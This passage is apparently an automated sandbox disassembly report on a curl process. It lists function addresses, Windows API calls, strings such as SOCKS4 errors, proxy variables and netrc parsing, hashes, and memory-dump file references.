TO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 71157656-764561750
Opcode ID: 00f60152c7223bac7dd5c0b47af1e677dbe60b4628f0644ed38cf62ee94a2935
Instruction ID: 8ee0abdbc95d2deba45663c5f817cc48b566df16fb6f75d99f3aafedd14cb0b7
Opcode Fuzzy Hash: 00f60152c7223bac7dd5c0b47af1e677dbe60b4628f0644ed38cf62ee94a2935
Instruction Fuzzy Hash: 8C91D53A20C285D7D73CE71A4961F762286EBC0300FA2493ED603AA3E9DD7D68457323

Function 009A0590 Relevance: 31.9, APIs: 3, Strings: 15, Instructions: 431COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 009A0616
ioctlsocket.WS2_32(8004667E,8004667E,?), ref: 009A0689

Part of subcall function 0098F270: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,?,?,0098D2A7), ref: 0098F288
Part of subcall function 0098F270: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0098F296

Part of subcall function 009A0430: GetTickCount64.KERNEL32 ref: 009A0491
Part of subcall function 009A0430: recv.WS2_32(?,?,?,00000000), ref: 009A0513
Part of subcall function 009A0430: WSAGetLastError.WS2_32(?,000003E8,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 009A051E

Strings

SOCKS4%s request granted., xrefs: 009A09A5
Too long SOCKS proxy name, can't use!, xrefs: 009A0811
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 009A0A7E
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 009A09FC
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 009A0A3D
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 009A0ABC
SOCKS4 communication to %s:%d, xrefs: 009A069B
Failed to resolve "%s" for SOCKS4 connect., xrefs: 009A07D0
Failed to receive SOCKS4 connect request ack., xrefs: 009A0AD1
Connection time-out, xrefs: 009A0AF5
Failed to send SOCKS4 connect request., xrefs: 009A091B
Failed to send SOCKS4 connect request., xrefs: 009A0AE3
%hu.%hu.%hu.%hu, xrefs: 009A076F
SOCKS4 reply has wrong version, version should be 4., xrefs: 009A0965
SOCKS4 connect to %s (locally resolved), xrefs: 009A07B2

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick$CloseErrorHandleLastObjectSingleWaitioctlsocketrecv
String ID: %hu.%hu.%hu.%hu$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Connection time-out$Failed to receive SOCKS4 connect request ack.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$Failed to send SOCKS4 connect request.$SOCKS4 communication to %s:%d$SOCKS4 connect to %s (locally resolved)$SOCKS4 reply has wrong version, version should be 4.$SOCKS4%s request granted.$Too long SOCKS proxy name, can't use!
API String ID: 1703271474-1625008050
Opcode ID: ca5dafafdea7310f3c9096754010282c11fec060698b11b62f7d8ed99974d7e8
Instruction ID: f2fc25846fd495f71d8cd6a9e45a570afc092182c85aa27b340832a3ae32b812
Opcode Fuzzy Hash: ca5dafafdea7310f3c9096754010282c11fec060698b11b62f7d8ed99974d7e8
Instruction Fuzzy Hash: 60E1D57150C340AFD754DB288C91B7FBBE89BCA704F04496DF5C697282E639DA04CBA2

Function 00A7515B Relevance: 26.7, APIs: 5, Strings: 10, Instructions: 488COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,00000001,?,?,?,?,?,?,?,?,?,?), ref: 00A75220
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,?,?,?,?,?,?), ref: 00A7524C
GetStdHandle.KERNEL32(000000F4,?,?,?), ref: 00A75703
GetFileType.KERNEL32(00000000), ref: 00A7573E
WriteConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 00A75767

Strings

Program: , xrefs: 00A751F3
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts, xrefs: 00A7556A
Assertion failed!, xrefs: 00A751A8
<program name unknown>, xrefs: 00A75256
Microsoft Visual C++ Runtime Library, xrefs: 00A755CD
Line: , xrefs: 00A7543C
(Press Retry to debug the application - JIT must be enabled), xrefs: 00A755A5
Expression: , xrefs: 00A754B3
Assertion failed: %s, file %s, line %d, xrefs: 00A75726, 00A7579E
File: , xrefs: 00A7531E

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: FileHandleModule$ConsoleNameTypeWrite
String ID: (Press Retry to debug the application - JIT must be enabled)$<program name unknown>$Assertion failed!$Assertion failed: %s, file %s, line %d$Expression: $File: $For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts$Line: $Microsoft Visual C++ Runtime Library$Program:
API String ID: 1567978977-2333777566
Opcode ID: 5bfa3a1d195ed0bd756873ce6427c1163eddbfef9584b554d5fd85b782cbc970
Instruction ID: dece5993060ca54768c97e88cab85845608791f1bfd303347d49399a3d08b5a0
Opcode Fuzzy Hash: 5bfa3a1d195ed0bd756873ce6427c1163eddbfef9584b554d5fd85b782cbc970
Instruction Fuzzy Hash: 54F1CDB2D00319BADF24EB708D86FAE776DAB54744F00C8A5FA0DD6182F770DA598B50

Function 009753F0 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 331COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00975436

Part of subcall function 00A7144E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,?,000003E8,00000000), ref: 00A71457

Strings

Failed to create/open output, xrefs: 0097554F
%s%s , xrefs: 00975647
%s%s , xrefs: 009755F0
=> Send data, xrefs: 009757BB
<= Recv header, xrefs: 009757C2
<= Recv data, xrefs: 009757C9
%s== Info: %s, xrefs: 00975792
%02d:%02d:%02d.%06ld , xrefs: 009754D4
=> Send SSL data, xrefs: 009757D7
<= Recv SSL data, xrefs: 009757D0
%s%s , xrefs: 009756BB
=> Send header, xrefs: 009757B4
%s%s , xrefs: 0097571E
[%zd bytes data], xrefs: 00975730

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Time$Count64FileSystemTick
String ID: %02d:%02d:%02d.%06ld $%s%s $%s%s $%s%s $%s%s $%s== Info: %s$<= Recv SSL data$<= Recv data$<= Recv header$=> Send SSL data$=> Send data$=> Send header$Failed to create/open output$[%zd bytes data]
API String ID: 4062084619-2048222653
Opcode ID: 2b967833f7a55211b20cce06594ccd50b6d5b927e995f934c44b458a7fd68014
Instruction ID: 26d97a7a38d01eee00e06b4613a56def8c6ccb5f9489dba0229ca97161d48ee2
Opcode Fuzzy Hash: 2b967833f7a55211b20cce06594ccd50b6d5b927e995f934c44b458a7fd68014
Instruction Fuzzy Hash: 80B10673A08340AFD740DF24DC82B6B7BE8EB88304F458869F94D97252EBB1D915C792

Function 00A64290 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 194filethreadwindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(Pageant,Pageant), ref: 00A642CB
GetCurrentThreadId.KERNEL32 ref: 00A64306
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002000,?), ref: 00A64331
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 00A64354
SendMessageA.USER32(?,0000004A,00000000,804E50BA), ref: 00A643C5
UnmapViewOfFile.KERNEL32(00000000), ref: 00A643E8
CloseHandle.KERNEL32(00000000), ref: 00A643EF

Strings

PageantRequest%08x, xrefs: 00A64311
Pageant, xrefs: 00A642C1
Pageant, xrefs: 00A642C6

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: File$View$CloseCreateCurrentFindHandleMappingMessageSendThreadUnmapWindow
String ID: Pageant$Pageant$PageantRequest%08x
API String ID: 440355138-3387828613
Opcode ID: 0c705e86a4b0f54b816cf8f13c3f55f5b8450808186899800b8d567dc47047a8
Instruction ID: 0d64ab6d070ce228117967c5c4b35883648c42dfa1651bd1c6959d7f14ad7bc3
Opcode Fuzzy Hash: 0c705e86a4b0f54b816cf8f13c3f55f5b8450808186899800b8d567dc47047a8
Instruction Fuzzy Hash: 2E61A1752002019FC704DF78DC8ABAE77F4BF49324F44426AF55ACB2D2EB3195458B92

Function 009A89A0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 256COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 009A8A2D

Strings

login, xrefs: 009A8BCF
machine, xrefs: 009A8C3F
%s%s%s, xrefs: 009A8A60
, xrefs: 009A8ADF
password, xrefs: 009A8BEA
machine, xrefs: 009A8BFE
_netrc, xrefs: 009A8A55
, xrefs: 009A8C64, 009A8CA4
HOME, xrefs: 009A8A09

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: $ $%s%s%s$HOME$_netrc$login$machine$machine$password
API String ID: 237503144-3129465328
Opcode ID: 507328f6d4655f666d46ec8303ee5f8c6b656947e0a4405e21c5e95907d43c4c
Instruction ID: 8478e026623a184bed1de09d736c7be41756a9387140e5f48f3ef1198ac6812d
Opcode Fuzzy Hash: 507328f6d4655f666d46ec8303ee5f8c6b656947e0a4405e21c5e95907d43c4c
Instruction Fuzzy Hash: 3C91E370A093829FD7219B248805B6BBBE86F87314F09492DE8C597281EF75DD45CBE3

Function 009994E0 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 218COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0099975A

Strings

Disables POST, goes with %s, xrefs: 009996F9
Switch from POST to GET, xrefs: 00999722
Switch from POST to GET, xrefs: 00999742
Maximum (%ld) redirects followed, xrefs: 0099951E
Issue another request to this URL: '%s', xrefs: 0099968E
GET, xrefs: 009996E1
HEAD, xrefs: 009996E6, 009996F8
%15[^?&/:]://%c, xrefs: 009995B1

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: %15[^?&/:]://%c$Disables POST, goes with %s$GET$HEAD$Issue another request to this URL: '%s'$Maximum (%ld) redirects followed$Switch from POST to GET$Switch from POST to GET
API String ID: 1927824332-3364601050
Opcode ID: c540df88fd7a5f46423680759873000c64a2c7ada55fd0d07a804e4affacae7c
Instruction ID: e8026b813a32dad03a8ff83269f43b977c048309d05d65ddd701448e5cc0e66e
Opcode Fuzzy Hash: c540df88fd7a5f46423680759873000c64a2c7ada55fd0d07a804e4affacae7c
Instruction Fuzzy Hash: 19813DB0700A426BDB19DF3C8845BAAF798BF51309F04432DF5198A292DF74A994C7D2

Function 0098ACB0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 142COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 0098ACF9
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,00000000), ref: 0098AD46
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 0098ADE8

Strings

_proxy, xrefs: 0098ADA8
NO_PROXY, xrefs: 0098AD20
http_proxy, xrefs: 0098AE13
ALL_PROXY, xrefs: 0098AE53
all_proxy, xrefs: 0098AE43
no_proxy, xrefs: 0098ACC8

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ALL_PROXY$NO_PROXY$_proxy$all_proxy$http_proxy$no_proxy
API String ID: 237503144-2383259138
Opcode ID: a914d0d1a7b27d15450d6a98954d0909e9d4c149f6bccbbff3a27d5e9b34c280
Instruction ID: 042ecdde27b8d627f50f340bf9760306059a3cee64d3a47b65a33cb10d392c28
Opcode Fuzzy Hash: a914d0d1a7b27d15450d6a98954d0909e9d4c149f6bccbbff3a27d5e9b34c280
Instruction Fuzzy Hash: 6D41D6B15043815FEB31FB709845BABB7986F45344F094D2DEA8987382EA70D909C7D3

Function 00992730 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 127networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 0099287A

Strings

..\..\openssl\openssl\ssl\ssl_lib.c, xrefs: 009927E5
SSL_ERROR_WANT_WRITE, xrefs: 00992856
SSL shutdown timeout, xrefs: 00992899
SSL read: %s, errno %d, xrefs: 00992886
select/poll on SSL socket, errno: %d, xrefs: 009928B0
SSL_ERROR_WANT_READ, xrefs: 00992843
..\..\openssl\openssl\ssl\ssl_lib.c, xrefs: 0099276C

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: ..\..\openssl\openssl\ssl\ssl_lib.c$..\..\openssl\openssl\ssl\ssl_lib.c$SSL read: %s, errno %d$SSL shutdown timeout$SSL_ERROR_WANT_READ$SSL_ERROR_WANT_WRITE$select/poll on SSL socket, errno: %d
API String ID: 1452528299-1885533763
Opcode ID: 9b69ccd99bfef2807c10394ee0a609af60b9f1a09994a1a4804924d985ea90b8
Instruction ID: 7b090f87e446cd6e80949db473a8fa91b712bb7b87b01e50c7a71303f1a21733
Opcode Fuzzy Hash: 9b69ccd99bfef2807c10394ee0a609af60b9f1a09994a1a4804924d985ea90b8
Instruction Fuzzy Hash: 20411A71A04305BBDB10FF68DC82F6673A5BB80715F108A2CF55A5A2C2EF75990587A2

Function 009DAB10 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 106libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000009,?), ref: 009DAB30
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 009DAB40
GetDesktopWindow.USER32 ref: 009DAB64
GetProcessWindowStation.USER32 ref: 009DAB6A
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?), ref: 009DAB85
GetLastError.KERNEL32 ref: 009DAB93
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?), ref: 009DABCE

Strings

Service-0x, xrefs: 009DABE9
